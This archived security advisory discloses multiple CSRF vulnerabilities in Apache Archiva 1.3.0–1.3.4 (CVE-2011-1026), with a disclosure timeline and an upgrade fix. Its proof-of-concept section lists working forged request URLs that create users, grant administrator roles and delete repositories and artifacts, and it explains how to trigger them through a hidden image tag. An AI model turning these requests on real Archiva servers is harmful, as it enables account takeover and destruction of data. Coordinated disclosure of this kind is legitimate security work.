exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apache Archiva 1.3.4 Cross Site Request Forgery

Apache Archiva 1.3.4 Cross Site Request Forgery
Posted May 30, 2011
Authored by Riyaz Walikar | Site archiva.apache.org

Apache Archiva versions 1.3.0 through 1.3.4 suffer from multiple cross site request forgery vulnerabilities. Proof of concept findings included.

tags | exploit, vulnerability, proof of concept, csrf
advisories | CVE-2011-1026
SHA-256 | b246d86c77384bffeea71e41705debe975936da36f6664257f23a0509e892515

Apache Archiva 1.3.4 Cross Site Request Forgery

Change Mirror Download
Hi,

This is regarding multiple CSRF (Cross Site Request Forgery)
Vulnerabilities in Apache Archiva 1.3.4 (and previous versions). The
following is the disclosure document

Title: Multiple CSRF Vulnerabilities in Apache Archiva 1.3.4
--------------------------------------------------------------------

Project: Apache Archiva
Severity: High
Versions: 1.3.0 - 1.3.4. The unsupported versions Archiva 1.0 - 1.2.2
are also affected.
Exploit type: Multiple CSRF
Mitigation: Archiva 1.3.4 and earlier users should upgrade to 1.3.5
Vendor URL: http://archiva.apache.org/security.html
CVE: CVE-ID-2011-1026
--------------------------------------------------------------------

Timeline:
28 February 2011: Vendor Contacted
1 March 2011: Vendor Response received. CVE-2011-1026 for CSRF Issues
Assigned.
7 March 2011: CVE-2011-1077 Assigned for XSS Issues.
14 March 2011: Fixes released to selected channels / Found to be
insufficient
27 May 2011: Vendor releases v1.3.5
27 May 2011: Vendor releases security disclosure to Bugtraq and FD.
30 May 2011: Exploit details released.
--------------------------------------------------------------------

Product Description:
Apache Archiva is an extensible repository management software that
helps taking care of your own personal or enterprise-wide build artifact
repository. It is the perfect companion for build tools such as Maven,
Continuum, and ANT.

Archiva offers several capabilities, amongst which remote repository
proxying, security access management, build artifact storage, delivery,
browsing, indexing and usage reporting, extensible scanning
functionality... and many more!
(Source: http://archiva.apache.org/)
--------------------------------------------------------------------

Vulnerability Details:
These issues allow an attacker to access and use the application with
the session of a logged on user. In this case if an administrative
account is exploited, total application compromise may be acheived.
An attacker can build a simple html page containing a hidden Image tag
(eg: <img src=vulnurl width=0 height=0 />) and entice the administrator
to access the page.
---------------------------------------------------------------------

Proof of Concept:
http://127.0.0.1:8080/archiva/security/usercreate!submit.action?user.use
rname=tester123&user.fullName=test&user.email=test%40test.com&user.passw
ord=abc&user.confirmPassword=abc
http://127.0.0.1:8080/archiva/security/userdelete!submit.action?username
=test
http://127.0.0.1:8080/archiva/security/addRolesToUser.action?principal=t
est&addRolesButton=true&__checkbox_addNDSelectedRoles=Guest&__checkbox_a
ddNDSelectedRoles=Registered+User&addNDSelectedRoles=System+Administrato
r&__checkbox_addNDSelectedRoles=System+Administrator&__checkbox_addNDSel
ectedRoles=User+Administrator&__checkbox_addNDSelectedRoles=Global+Repos
itory+Manager&__checkbox_addNDSelectedRoles=Global+Repository+Observer&s
ubmitRolesButton=Submit
http://127.0.0.1:8080/archiva/admin/deleteRepository.action?repoid=test&
method%3AdeleteContents=Delete+Configuration+and+Contents
http://127.0.0.1:8080/archiva/deleteArtifact!doDelete.action?groupId=1&a
rtifactId=1&version=1&repositoryId=snapshots
http://127.0.0.1:8080/archiva/admin/addRepositoryGroup.action?repository
Group.id=csrfgrp
http://127.0.0.1:8080/archiva/admin/deleteRepositoryGroup.action?repoGro
upId=test&method%3Adelete=Confirm
http://127.0.0.1:8080/archiva/admin/disableProxyConnector!disable.action
?target=maven2-repository.dev.java.net&source=internal
http://127.0.0.1:8080/archiva/admin/deleteProxyConnector!delete.action?t
arget=maven2-repository.dev.java.net&source=snapshots
http://127.0.0.1:8080/archiva/admin/deleteLegacyArtifactPath.action?path
=jaxen%2Fjars%2Fjaxen-1.0-FCS-full.jar
http://127.0.0.1:8080/archiva/admin/saveNetworkProxy.action?mode=add&pro
xy.id=ntwrk&proxy.protocol=http&proxy.host=test&proxy.port=8080&proxy.us
ername=&proxy.password=
http://127.0.0.1:8080/archiva/admin/deleteNetworkProxy!delete.action?pro
xyid=myproxy
http://127.0.0.1:8080/archiva/admin/repositoryScanning!addFiletypePatter
n.action?pattern=**%2F*.rum&fileTypeId=artifacts
http://127.0.0.1:8080/archiva/admin/repositoryScanning!removeFiletypePat
tern.action?pattern=**%2F*.rum&fileTypeId=artifacts
http://127.0.0.1:8080/archiva/admin/repositoryScanning!updateKnownConsum
ers.action?enabledKnownContentConsumers=auto-remove&enabledKnownContentC
onsumers=auto-rename&enabledKnownContentConsumers=create-missing-checksu
ms&enabledKnownContentConsumers=index-content&enabledKnownContentConsume
rs=metadata-updater&enabledKnownContentConsumers=repository-purge&enable
dKnownContentConsumers=update-db-artifact&enabledKnownContentConsumers=v
alidate-checksums
http://127.0.0.1:8080/archiva/admin/database!updateUnprocessedConsumers.
action?enabledUnprocessedConsumers=update-db-project
http://127.0.0.1:8080/archiva/admin/database!updateCleanupConsumers.acti
on?enabledCleanupConsumers=not-present-remove-db-artifact&enabledCleanup
Consumers=not-present-remove-db-project&enabledCleanupConsumers=not-pres
ent-remove-indexed

Warm Regards,
Riyaz Ahemed Walikar || Senior Engineer - Professional Services
Vulnerability Assessment & Penetration Testing
Mobile: +91-98860-42242 || Extn: 5601


The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material.
Any review, re-transmission, dissemination or other use of or taking of any action in reliance upon,this information by persons or entities other than the intended recipient is prohibited.
If you received this in error, please contact the sender and delete the material from your computer.
Microland takes all reasonable steps to ensure that its electronic communications are free from viruses.
However, given Internet accessibility, the Company cannot accept liability for any virus introduced by this e-mail or any attachment and you are advised to use up-to-date virus checking software.

Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close